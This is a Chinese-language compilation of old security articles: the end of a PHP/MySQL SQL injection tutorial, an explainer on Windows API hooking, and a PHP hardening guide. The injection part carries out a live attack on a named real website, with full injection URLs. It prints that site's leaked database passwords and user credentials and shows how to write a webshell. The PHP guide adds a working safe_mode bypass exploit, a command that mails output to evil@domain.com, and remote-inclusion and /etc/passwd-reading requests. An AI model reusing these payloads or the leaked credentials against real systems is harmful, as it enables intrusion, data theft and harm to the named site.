那么我们可以再找到一个可以注入的地方
<blockquote>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php' </blockquote>
好了,我们又有了我们的wenshell了哦。
7.mysql的跨库查询
大家是不是一直听说mysql不能跨库查询啊,哈哈,今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过load_file来直接读出mysql中data文件夹下的文件内容,从而实现变态跨库查询。
举个例子啦
在这之前我们先讲一下mysql的data文件夹下的结构
Data文件夹下有按数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如
Mysql中有alpha数据库,在alpha库中有alphaauthor和alphadb两个表,
其中alphadb.frm放着lphadb表中的数据,alphadb.frm放着表的结构,alphadb.myi中放的内容随mysql的版本不通会有所不同,具体可以自己用记事本打开来判断。
实验开始
假设我们知道有另外的一个数据库yminfo210存在,且存在表user,user中放这admin的信息。
我们
<blockquote>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfo210/user.myd'),4,5,6,7,8,9,10,11 </blockquote>
说明一下,load_file默认所在的目录是mysql下的data目录,所以我们用
load_file('yminfo210/user.myd'),当然load_file('.info210/user.myd')也是一样的,注意的是into outfile的默认路径是在所在的数据库文件夹下。

我们看读出来的内容 <blockquote>
舼?   admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer http://www.yoursite.com (?靃?KA靃?靃? 127.0.0.1 d|?? aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd   ?E麷AM麷A 127.0.0.1 222 222222223423 </blockquote>
虽然乱码一堆,但是我们还是可以看出用户名是admin,密码是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。
通过这种方法我们就实现了曲线跨库,下面的例子中也会提到哦!

说了这么多下面我们来具体的使用一次,这次测试的对象是国内一著名安全类站点――黑白网络
听人家说黑白有漏洞?我们一起去看看吧。

http://www.heibai.net/down/show.php?id=5403%20and%201=1

正常显示。
<blockquote>http://www.heibai.net/down/show.php?id=5403%20and%201=2 </blockquote>
显示不正常。
好,我们继续
<blockquote>http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1 </blockquote>显示结果如下
注意看图中没有显示程序名,而且还附带了
<blockquote>Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\show.php on line 45

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\global.php on line 578 </blockquote>

晕了,网站路径出来了,那可就死定了哦!
我们继续,直到我们猜到
<blockquote>http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 </blockquote>
的时候正常显示了。

好我们转换语句成为
<blockquote>http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 </blockquote>
看看简介处显示为12,我们可以猜测此处应该为字符型!
Ok,我们下面看看文件内容先
D:/web/heibai/down/show.php转化成ascii后为
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)
我们
<blockquote>view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19 </blockquote>
view-source:是指察看源代码,至于为什么用,我们后面将讲到
显示出它的源代码
因为在show.php中有一句
<blockquote><meta HTTP-EQUIV=REFRESH CONTENT='0;URL=list.php'> </blockquote>
如果我们直接在浏览器里提交会跳转到list.php
我们发现这句require ("./include/config.inc.php");
好东西,应该放这配置文件,ok继续
<s>d:/web/heibai/down/include/config.inc.php</s>
转化成char<s>(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112) </s>
我们输入
<blockquote>http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19 </blockquote>

里面内容主要有
<blockquote>…………………..
ymDown (夜猫下载系统) 是一个应用于网站提供下载服务的的程序
// ------------------------- -------- ------------------------- //
//                   常规设置                   //
// ------------------------- -------- ------------------------- //

// 数据库信息
$dbhost = "localhost"; // 数据库主机名
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码
$dbname = "download"; // 数据库名

// Cookie 名称
$cookie_name = "heibai";
// 版本号
$version = "1.0.1";

// 数据表名
$down_table = ymdown;
$down_user_table = ymdown_user;
$down_sort1_table = ymdown_sort1;
$down_sort2_table = ymdown_sort2; </blockquote>
晕原来用的是夜猫的下载系统,而且我们知道了
<blockquote>$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码 </blockquote>
说不定呆会有用哦。
用的表名是默认的表名,我们知道夜猫的管理员密码放在ymdown_user中
我们继续<blockquote>http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown_user </blockquote>
根据提示我们知道文件大小处的是username,应用平台处的是password
即username=dload,password=6558428,夜猫的后台默认在admin目录下,我试验了很久都没有找到,晕之。
想直接连接mysql,发现telnet端口并没有开放。我们去看看别的吧!
<s>http://www.heibai.net/vip/article/login.php </s>
看起来像是会员的登陆哦,我们看看先
<s>d:/web/heibai/vip/article/login.php </s>
转化成char<s>(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112) </s>
我们输入
<blockquote>http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)),13,14,15,16,17,18,19 </blockquote>

其中
<blockquote>require ("./include/global.php");
require ("./include/config.inc.php");
require ("./mainfunction.php");
require ("./function.php"); </blockquote>
当然了,我们去看config.inc.php吧
<s>d:/web/heibai/vip/article/include/config.inc.php </s>
转成char<s>(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)</s>
输入
<s>http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19 </s>

显示了很多好东西哦

<blockquote>$dbhost = "localhost"; // 数据库主机名
$dbuser = "root"; // 数据库用户名
$dbpass = "234ytr8ut"; // 数据库密码
$dbname = "article"; // 数据库名
$ymcms_user_table = "user";
$ymcms_usergroup_table = "usergroup";
$ymcms_userrace_table = "userrace"; </blockquote>
表还是默认的表,而且出来了root的密码
要是能连上它的mysql该多好啊,那样我们就可以into outfile了
痛苦的找了找phpmyadmin,没有找见,或许根本就没有用。
读c:/winnt/php.ini发现
<blockquote>; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On </blockquote>
55555555,痛苦中,我们看看能不能搞几个会员账号
猜测会员账号放在user表中,我们直接读data下article文件夹里的user.myd文件
Article/user.myd转换成
<s>char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100) </s>
我们输入
<s>http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19 </s>
晕了,竟然没有返回。我们来读Article/user.frm
<s>http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19 </s>
晕了,表结构都在,而且读Article/user.myi时也成功,可是为什么Article/user.myd读不出来呢?要是magic_quotes_gpc=Off我们还可以into outfile来看看,可是……
郁闷中,测试就这样结束吧,下面的工作还是留给你们来完成吧!
文中所述问题已经通知星坤了!
四:php+mysql注入的防范方法。
在上一期的专题里已经讲了很多的防范方法,这里我就主要讲一下php+mysql注射攻击的防范方法。
大家看到,在magic_quotes_gpc=On的时候,很多的注射攻击已经没有作用了。
我们可以利用这个来加固我们的程序。Addslashes()函数等同于magic_quotes_gpc=On,而且与magic_quotes_gpc=On也不冲突,我们可以这样过滤
<blockquote>$username = addslashes($username);
$query="select * FROM users where userid='$username'"); </blockquote>
对于id型我们可以利用<strong>intval()</strong>函数,<strong>intval()</strong>函数可以将变量转换成整数类型,这样就可以了。
我们可以这样
<blockquote>$id = intval($id);
$query="select * FROM alphadb where articleid='$id'"); </blockquote>
如果是字符型的呢?
我们可以先用addslashes()过滤一下,然后再过滤”%”和”_”.
例如:
<blockquote>$search = addslashes($search);
$search = str_replace("_","\_",$search);
$search = str_replace("%","\%",$search); </blockquote>
记得,可千万别在magic_quotes_gpc=On的情况下替换\为\\,如下:
<strong>$password=str_replace("\\","\\\\",$password); </strong>
我记得在darkness的文章《对某PHP站点的一次渗透》中提到过这个问题(在光盘中有收录)。
还有的就是登陆的地方,如果是只用一个管理员管理的话,我们可以直接对username和passwd用md5加密,这样就不用害怕注入技术的发展了。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
我的后台登陆就是这样子的哦。
本文作者:alpha

详谈HOOK API的技术

文章作者:MGF

HOOK API是一个永恒的话题,如果没有HOOK,许多技术将很难实现,也许根本不能实现。
这里所说的API,是广义上的API,它包括DOS下的中断,WINDOWS里的API、中断服务、IFS和
NDIS过滤等。比如大家熟悉的即时翻译软件,就是靠HOOK TextOut()或ExtTextOut()这两个
函数实现的,在操作系统用这两个函数输出文本之前,就把相应的英文替换成中文而达到即
时翻译;IFS和NDIS过滤也是如此,在读写磁盘和收发数据之前,系统会调用第三方提供的
回调函数来判断操作是否可以放行,它与普通HOOK不同,它是操作系统允许的,由操作系统
提供接口来安装回调函数。
甚至如果没有HOOK,就没有病毒,因为不管是DOS下的病毒或WINDOWS里的病毒,
都是靠HOOK系统服务来实现自己的功能的:DOS下的病毒靠HOOK INT 21来感染文件(文件型病毒),靠HOOK INT 13来感染引导扇区(引导型病毒);WINDOWS下的病毒靠HOOK 系统API(包括RING0层的和RING3层的),或者安装IFS(CIH病毒所用的方法)来感染文件。因此可以说“没有HOOK,就没有今天多姿多彩的软件世界”。

由于涉及到专利和知识产权,或者是商业机密,微软一直不提倡大家HOOK它的系统API,
提供IFS和NDIS等其他过滤接口,也是为了适应杀毒软件和防火墙的需要才开放的。所以在
大多数时候,HOOK API要靠自己的力量来完成。

HOOK API有一个原则,这个原则就是:被HOOK的API的原有功能不能受到任何影响。就象
医生救人,如果把病人身体里的病毒杀死了,病人也死了,那么这个“救人”就没有任何意义了。
如果你HOOK API之后,你的目的达到了,但API的原有功能失效了,这样不是HOOK,而是REPLACE,操作系统的正常功能就会受到影响,甚至会崩溃。

HOOK API的技术,说起来也不复杂,就是改变程序流程的技术。在CPU的指令里,有几条
指令可以改变程序的流程:JMP,CALL,INT,RET,RETF,IRET等指令。理论上只要改变API
入口和出口的任何机器码,都可以HOOK,但是实际实现起来要复杂很多,因为要处理好以下问题:
1,CPU指令长度问题,在32位系统里,一条JMP/CALL指令的长度是5个字节,因此你只有替换API
里超过5个字节长度的机器码(或者替换几条指令长度加起来是5字节的指令),否则会影响被更
改的小于5个字节的机器码后面的数条指令,甚至程序流程会被打乱,产生不可预料的后果;
2,参数问题,为了访问原API的参数,你要通过EBP或ESP来引用参数,因此你要非常清楚你的HOOK代码里此时的EBP/ESP的值是多少;
3,时机的问题,有些HOOK必须在API的开头,有些必须在API的尾部,比如HOOK createFilaA(),
如果你在API尾部HOOK API,那么此时你就不能写文件,甚至不能访问文件;HOOK RECV(),
如果你在API头HOOK,此时还没有收到数据,你就去查看RECV()的接收缓冲区,里面当然没有
你想要的数据,必须等RECV()正常执行后,在RECV()的尾部HOOK,此时去查看RECV()的缓冲区,
里面才有想要的数据;
4,上下文的问题,有些HOOK代码不能执行某些操作,否则会破坏原API的上下文,原API就失效了;
5,同步问题,在HOOK代码里尽量不使用全局变量,而使用局部变量,这样也是模块化程序的需要;
6,最后要注意的是,被替换的CPU指令的原有功能一定要在HOOK代码的某个地方模拟实现。

下面以ws2_32.dll里的send()为例子来说明如何HOOK这个函数:

Exported fn(): send – Ord:0013h
地址 机器码 汇编代码
:71A21AF4 55 push ebp //将被HOOK的机器码(第1种方法)
:71A21AF5 8BEC mov ebp, esp //将被HOOK的机器码(第2种方法)
:71A21AF7 83EC10 sub esp, 00000010
:71A21AFA 56 push esi
:71A21AFB 57 push edi
:71A21AFC 33FF xor edi, edi
:71A21AFE 813D1C20A371931CA271 cmp dword ptr [71A3201C], 71A21C93 //将被HOOK的机器码(第4种方法)
:71A21B08 0F84853D0000 je 71A25893
:71A21B0E 8D45F8 lea eax, dword ptr [ebp-08]
:71A21B11 50 push eax
:71A21B12 E869F7FFFF call 71A21280
:71A21B17 3BC7 cmp eax, edi
:71A21B19 8945FC mov dword ptr [ebp-04], eax
:71A21B1C 0F85C4940000 jne 71A2AFE6
:71A21B22 FF7508 push [ebp+08]
:71A21B25 E826F7FFFF call 71A21250
:71A21B2A 8BF0 mov esi, eax
:71A21B2C 3BF7 cmp esi, edi
:71A21B2E 0F84AB940000 je 71A2AFDF
:71A21B34 8B4510 mov eax, dword ptr [ebp+10]
:71A21B37 53 push ebx
:71A21B38 8D4DFC lea ecx, dword ptr [ebp-04]
:71A21B3B 51 push ecx
:71A21B3C FF75F8 push [ebp-08]
:71A21B3F 8D4D08 lea ecx, dword ptr [ebp+08]
:71A21B42 57 push edi
:71A21B43 57 push edi
:71A21B44 FF7514 push [ebp+14]
:71A21B47 8945F0 mov dword ptr [ebp-10], eax
:71A21B4A 8B450C mov eax, dword ptr [ebp+0C]
:71A21B4D 51 push ecx
:71A21B4E 6A01 push 00000001
:71A21B50 8D4DF0 lea ecx, dword ptr [ebp-10]
:71A21B53 51 push ecx
:71A21B54 FF7508 push [ebp+08]
:71A21B57 8945F4 mov dword ptr [ebp-0C], eax
:71A21B5A 8B460C mov eax, dword ptr [esi+0C]
:71A21B5D FF5064 call [eax+64]
:71A21B60 8BCE mov ecx, esi
:71A21B62 8BD8 mov ebx, eax
:71A21B64 E8C7F6FFFF call 71A21230 //将被HOOK的机器码(第3种方法)
:71A21B69 3BDF cmp ebx, edi
:71A21B6B 5B pop ebx
:71A21B6C 0F855F940000 jne 71A2AFD1
:71A21B72 8B4508 mov eax, dword ptr [ebp+08]
:71A21B75 5F pop edi
:71A21B76 5E pop esi
:71A21B77 C9 leave
:71A21B78 C21000 ret 0010

下面用4种方法来HOOK这个API:

1,把API入口的第一条指令是PUSH EBP指令(机器码0×55)替换成INT 3(机器码0xcc),
然后用WINDOWS提供的调试函数来执行自己的代码,这中方法被SOFT ICE等DEBUGER广泛采用,
它就是通过BPX在相应的地方设一条INT 3指令来下断点的。但是不提倡用这种方法,因为它
会与WINDOWS或调试工具产生冲突,而汇编代码基本都要调试;

2,把第二条mov ebp,esp指令(机器码8BEC,2字节)替换为INT F0指令(机器码CDF0),
然后在IDT里设置一个中断门,指向我们的代码。我这里给出一个HOOK代码:

lea ebp,[esp+12] //模拟原指令mov ebp,esp的功能
pushfd //保存现场
pushad //保存现场

//在这里做你想做的事情

popad //恢复现场
popfd //恢复现场
iretd //返回原指令的下一条指令继续执行原函数(71A21AF7地址处)

这种方法很好,但缺点是要在IDT设置一个中断门,也就是要进RING0。

3,更改CALL指令的相对地址(CALL分别在71A21B12、71A21B25、71A21B64,但前面2条CALL之前有一个条件
跳转指令,有可能不被执行到,因此我们要HOOK 71A21B64处的CALL指令)。为什么要找CALL指令下手?
因为它们都是5字节的指令,而且都是CALL指令,只要保持操作码0xE8不变,改变后面的相对地址就可以转
到我们的HOOK代码去执行了,在我们的HOOK代码后面再转到目标地址去执行。

假设我们的HOOK代码在71A20400处,那么我们把71A21B64处的CALL指令改为CALL 71A20400(原指令是这样的:CALL 71A21230)
而71A20400处的HOOK代码是这样的:

71A20400:
pushad

//在这里做你想做的事情

popad
jmp 71A21230 //跳转到原CALL指令的目标地址,原指令是这样的:call 71A21230

这种方法隐蔽性很好,但是比较难找这条5字节的CALL指令,计算相对地址也复杂。

4,替换71A21AFE地址上的cmp dword ptr [71A3201C], 71A21C93指令(机器码:813D1C20A371931CA271,10字节)成为
call 71A20400
nop
nop
nop
nop
nop
(机器码:E8 XX XX XX XX 90 90 90 90 90,10字节)

在71A20400的HOOK代码是:
pushad
mov edx,71A3201Ch //模拟原指令cmp dword ptr [71A3201C], 71A21C93
cmp dword ptr [edx],71A21C93h //模拟原指令cmp dword ptr [71A3201C], 71A21C93
pushfd

//在这里做你想做的事

popfd
popad
ret
这种方法隐蔽性最好,但不是每个API都有这样的指令,要具体情况具体操作。

以上几种方法是常用的方法,值得一提的是很多人都是改API开头的5个字节,但是现在很多杀毒软件用这样的方法
检查API是否被HOOK,或其他病毒木马在你之后又改了前5个字节,这样就会互相覆盖,最后一个HOOK API的操作才是有效的,
所以提倡用第3和第4种方法。

PHP安全配置

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql 时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode 的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id%7Cmail evil@domain.com

这将id执行的结果发送给evil@domain.com。

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

4

<?
# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script="<u>http://localhost/tmp/script123</u>";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和 get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是 Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:

[em]
Options FollowSymLinks
php_admin_value safe_mode 1
[/em]

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

几个文件的属性如下:

# ls -la
total 13
drwxr-xr-x    2 root     root          104 Jul 20 01:25 .
drwxr-xr-x   16 root     root          384 Jul 18 12:02 ..
-rw-r--r--    1 root     root         4110 Oct 26  2002 index.html
-rw-r--r--    1 www-data www-data       41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以 php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid = On

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且 shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“

safe_mode_include_dir = /dir/incl/

”。

safe_mode_allowed_env_vars string设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用 safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = “EGPCS”(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

<?
//test_1.php

if ($pass == "hello")
    $auth = 1;

if ($auth == 1)
    echo "some important information";
else
    echo "nothing";
?>

攻击者只需用如下的请求就能绕过检查:

http://victim/test_1.php?auth=1

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、 COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是 register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

解决方法:

配置文件php.ini设置register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

<?
//test_2.php

if (!($str = readfile("$filename"))) {
    echo("Could not open file: $filename<br />\n");
    exit;
}
else {
    echo $str;
}
?>

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:


php_admin_value open_basedir /usr/local/apache/htdocs

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:

<?
//test_3.php

if(file_exists($filename))
    include("$filename");
?>

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:

<?
//test_4.php

include("$lib/config.php");
?>

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

  • allow_url_fopen = Off
  • 重启apache。

    5、文件上传

    php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且 register_globals打开)

    $file        #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )
    $file_size    #上传文件的大小
    $file_name    #上传文件的原始名称
    $file_type    #上传文件的类型
    
    #推荐使用:
    
    $HTTP_POST_FILES['file']['tmp_name']
    $HTTP_POST_FILES['file']['size']
    $HTTP_POST_FILES['file']['name']
    $HTTP_POST_FILES['file']['type']
    

    这是一个最简单的文件上传代码:

    <?
    //test_5.php
    
    if(isset($upload) && $file != "none") {
        copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
        echo "文件".$file_name."上传成功!点击<a href=\"$PHP_SELF\">继续上传</a>";
        exit;
    }
    ?>
    <html>
    <head>
    <title>文件上传</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    </head>
    <body bgcolor="#FFFFFF">
    <form enctype="multipart/form-data" method="post">
    上传文件:
    <input type="file"  name="file" size="30">
    <input type="submit" name="upload" value="上传">
    </form>
    </body>
    </html>

    这样的上传代码存在读取任意文件和执行命令的重大问题。
    下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:

    http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

    然后可以用如下请求读取口令文件:

    http://victim/test/attack.txt

    攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。
    攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。
    攻击者还可以上传PHP脚本执行主机的命令。

    解决方法:

    PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。
    使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
    严格检查上传变量。比如不允许是php脚本文件。

